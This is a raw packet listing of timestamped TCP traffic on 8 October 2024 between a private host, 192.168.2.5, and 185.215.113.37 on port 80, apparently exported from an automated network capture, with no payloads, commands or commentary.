Oct 8, 2024 03:22:16.278975010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.279027939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.279036999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.279047966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.279093027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.279103994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.279114008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.279145002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.279145002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.279145002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.279145002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.279145002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.279145002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.279166937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.279184103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.279194117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.279205084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.279218912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.279227972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.279244900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.279269934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.280467987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.280483961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.280509949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.280531883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.280540943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.280565977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.280584097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.280595064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.280625105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.280637026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.280653954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.280663967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.280673981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.280685902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.280703068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.280736923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.280750036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.280760050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.280767918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.280776978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.280793905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.280822039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.280849934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.280859947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.280870914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.280883074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.280888081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.280898094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.280903101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.280922890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.280949116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.280973911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.280982971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281001091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281027079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.281027079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.281037092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.281058073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281069994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281080008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281094074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281097889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.281116009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.281140089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.281173944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281183958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281212091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.281260967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281271935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281296968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281305075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.281315088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281326056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281332016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.281375885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.281398058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281407118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281416893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281426907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281433105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.281443119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281449080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.281454086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281464100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281475067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.281480074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281501055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.281517029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.281563997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281574965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281605005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.281615019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.281637907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281647921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281657934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281670094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.281697989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.281758070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281768084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281778097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281789064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281797886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281804085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281810045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281893969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281898975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281908989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.281910896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.281910896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.281959057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.396466017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.401365042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.622184992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.622291088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.622355938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.622366905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.622375011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.622375011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.622376919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.622389078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.622401953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.622423887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.622423887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.622469902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.622988939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.623007059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.623016119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.623034954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.623059988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.623110056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.623121023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.623132944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.623142958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.623146057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.623177052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.623275042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.623281002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.623285055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.623289108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.623315096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.623333931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.623394966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.623405933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.623416901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.623428106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.623439074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.623439074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.623450041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.623483896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.623505116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.624140024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.624159098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.624167919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.624181986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.624212980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.624375105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.624417067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.624495983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.624505997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.624546051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.624562025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.624572039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.624582052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.624593973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.624603987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.624623060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.624649048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.624701977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.624712944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.624741077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.624752998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.625366926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.625376940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.625387907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.625416040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.625444889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.625474930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.625485897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.625499010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.625509024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.625513077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.625519991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.625529051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.625557899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.625622034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.625633001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.625643969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.625653982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.625658989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.625663996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.625683069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.625718117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.625750065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.625761986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.625772953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.625782967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.625788927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.625827074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.625888109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.625899076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.625910044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.625921011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.625921965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.625952005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.625977993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.626097918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.626107931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.626117945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.626127958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.626135111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.626137972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.626149893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.626156092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.626161098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.626171112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.626182079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.626183033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.626193047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.626208067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.626225948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.626396894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.626408100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.626419067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.626429081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.626431942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.626457930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.626457930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.626471043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.626480103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.626483917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.626491070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.626501083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.626511097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.626512051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.626522064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.626543999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.626559019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.627310038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.627321005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.627331972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.627360106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.627389908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.627415895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.627428055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.627455950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.627466917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.627496958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.627499104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.627501965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.627507925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.627518892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.627542973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.627568007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.627733946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.627738953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.627749920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.627760887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.627778053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.627800941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.627846003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.627856016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.627866983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.627877951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.627883911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.627890110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.627901077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.627912045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.627912045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.627922058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.627933025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.627939939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.627959967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.627974033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.628273010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.628282070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.628315926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.628334999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.628353119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.628362894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.628369093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.628412008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.628563881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.628576040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.628585100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.628595114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.628614902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.628659010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.628736973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.628748894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.628773928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.628809929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.628838062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.628850937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.628853083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.628864050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.628890038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.628890038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.628914118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.628925085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.628936052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.628946066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.628957033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.628962040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.628997087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.629007101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.629033089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.629043102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.629053116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.629065037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.629074097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.629120111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.629120111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.629139900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.629189968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.709271908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.709321976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.709342003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.709371090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.709474087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.709491014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.709517956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.709523916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.709523916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.709523916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.709534883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.709549904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.709567070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.710077047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.710158110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.710259914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.710292101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.710331917 CEST	49704	80	192.168.2.5	185.215.113.37
